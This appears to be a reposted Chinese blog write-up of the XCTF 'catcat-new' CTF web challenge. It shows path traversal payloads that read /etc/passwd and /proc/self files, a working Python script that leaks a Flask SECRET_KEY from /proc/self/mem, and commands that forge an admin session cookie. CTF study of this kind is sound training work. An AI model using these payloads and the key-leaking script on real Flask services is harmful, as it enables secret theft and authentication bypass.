XCTF-Web-catcat-new

这篇具有很好参考价值的文章主要介绍了XCTF-Web-catcat-new。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

查看题目

catcat-new,CTF-攻防世界,网络安全

访问网址:

catcat-new,CTF-攻防世界,网络安全 

点开其中一个cat

catcat-new,CTF-攻防世界,网络安全

 文章来源地址https://www.toymoban.com/news/detail-765480.html

观察URL,可以发现URL上使用get请求传递了一个名为file的参数,所以猜测可能存在文件包含漏洞。

在URL上传递参数file=../../../etc/passwd发现存在漏洞

读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令。 所以可以得出该网站使用Python框架,并且因为有app.py可知使用的是flask框架。

catcat-new,CTF-攻防世界,网络安全

尝试读取app.py文件。

catcat-new,CTF-攻防世界,网络安全

复制文本内容,将字符串f-string格式化输出美化一下。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

 以上就是app.py的代码

flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。

info?file=../../../proc/self/maps

catcat-new,CTF-攻防世界,网络安全

 执行破解脚本

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:65402/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')

#----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            #Encode a Flask session cookie
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

运行脚本得到Secret Key:dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh

catcat-new,CTF-攻防世界,网络安全

 

session在访问/admin路径时的cookie中,访问http://61.147.171.105:65402/admin

通过抓包得到session

catcat-new,CTF-攻防世界,网络安全

 利用工具flask_session_cookie_manager伪造session,先下载flask_session_cookie_manager工具,使用下列命令生成session

 python flask_session_cookie_manager3.py decode -s “secret_key” -c “session” 

python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"

catcat-new,CTF-攻防世界,网络安全

 得到伪造的session,使用burpsuite更改session并执行,得到flag。

catcat-new,CTF-攻防世界,网络安全

 

 本题知识点:

Linux系统敏感文件,flask_session_cookie_manager伪造session并执行,session存储在cookie中

/etc/passwd

该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为      用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)

/proc/self

proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。

/proc/self/cmdline

该文件包含的内容为当前进程执行的命令行参数。

/proc/self/mem

/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

/proc/self/maps

/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

flask-session结构

 flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。

参考资料:

(1条消息) 【愚公系列】2023年05月 攻防世界-Web(catcat-new)_愚公搬代码的博客-CSDN博客https://blog.csdn.net/aa2528877987/article/details/130880367?ops_request_misc=&request_id=&biz_id=102&utm_term=catcat-new&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-130880367.142^v88^control,239^v2^insert_chatgpt&spm=1018.2226.3001.4187

攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园 (cnblogs.com)https://www.cnblogs.com/niyani/p/17074125.html

 

到了这里,关于XCTF-Web-catcat-new的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF解题-web类

    1.题目描述: 解决方法: 工具的使用: 2.题目描述 解决方法:点击查询 1.题目描述: 解题思路: 2、题目描述【白名单检测】 解题思路: 3.问题描述: 在进行文件上传时,各种绕过方式都实验了一遍,都显示无法绕过; 当上传1.asp;.jpg时,返回错误页面,查看可知存在名

    2024年02月06日
    浏览(37)
  • CTF - Web 干货

    目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows系统特性的绕过 (6) 文件包含结合图片马 (7) 条件竞争 常见魔术方法的触发

    2024年01月18日
    浏览(33)
  • 【web-ctf】ctf-pikachu-file_download

    漏洞产生原因 :很多网站都会提供文件下载功能,即用户可以通过点击下载链接,下载到链接所对应的文件。 但是,如果文件下载功能设计不当,则可能导致攻击者可以通过构造文件路径,从而获得到后台服务器上的其他的敏感文件。(又称:任意文件下载) 1. Unsafe FileD

    2024年02月07日
    浏览(48)
  • CTF show----web 解题笔记(web签到~web6)

    目录 web签到题 web2 考查点: 1.判断sql注入回显位置 2.查当前数据库名称 3.查看数据库表的数量 4.查表的名字 5.查flag表列的数量 6.查flag表列的名字 7.查flag表记录的数量 8.查flag表记录值 web3 web4 web5  web6 where is flag? 直接F12去找一下   找到   Y3Rmc2hvd3s1YzYyZWE0Mi04M2E5LTRhNDUtODRiM

    2023年04月18日
    浏览(45)
  • 简单的CTF web密码爆破

     打开题目,审题。发现题目明确给出登录的用户名为Syclover,并要求我们爆破一个长度为6位纯数字的简单密码,并告诉我们密码开头为774。由此我们知道这是一题非常基础的密码爆破题。 打开环境发现存在一个登录界面: 我们根据提示输入用户名,密码不妨就随便尝试77

    2023年04月09日
    浏览(44)
  • CTF——Web网站备份源码泄露

    当遇到提示说到备份时,应该敏感地想到这是需要用到网站备份文件源码的。 一般这类题是和代码审计一起出的,一般都是需要获取到备份文件然后进行分析。下面就介绍一下网站备份的知识。以及推荐几款扫描网站备份文件的软件。下方还提供了一个很详细的网站备份字典

    2024年02月07日
    浏览(78)
  • CTF练习——WEB安全(BurpSuite为主)

    目录 BurpSuite用户名密码爆破 滑稽 计算器 Dummy Game 头等舱 alert GET POST HTTP Have fun 矛盾 网站被黑了 EasySQL WarmUp secret file STTI_1(模板注入) BurpSuite用户名密码爆破 输入错误的用户名密码组合:xiaoming 19971208,开启拦截: 发送到intruder,配置cluster bomb: 使用safe6,如下填写信息后

    2024年02月09日
    浏览(37)
  • 网络安全CTF之Web基础

    Web类的考试,在CTF比赛中十分常见。 本人从计算机专业转网络安全发展,属于半路出家,一知半解,如有总结不到位的地方,欢迎交流分享。 攻防世界Web Web基础中,常见的考点如下: 1、源代码隐藏 打开网页,显示 FLAG is not here。 F12查看源代码,取得flag 2、GET和POST传参 G

    2024年02月07日
    浏览(50)
  • 记一道国际赛CTF web题

    这是一篇关于打d3ctf坐牢,然后去打国际赛的题解。。。。。。。 首先打开页面,然后发现一个登陆框   刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。 之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个f

    2024年02月02日
    浏览(40)
  • CTFShow web1-7——CTF秀WEB模块解题思路

    CTFShow WEB模块详细通关教程, 受篇幅所限, 通关教程分为上下两部分, 第一部分为1-7关, 第二部分为8-14关, 本篇博客为1-7关的通关教程, 从解题思路和原理剖析两个方面进行讲解 这一关的重点在于注释, 由于开发人员的疏忽, 忘记删除注释中的敏感数据, 右键检查网页源码即可拿到

    2024年02月09日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包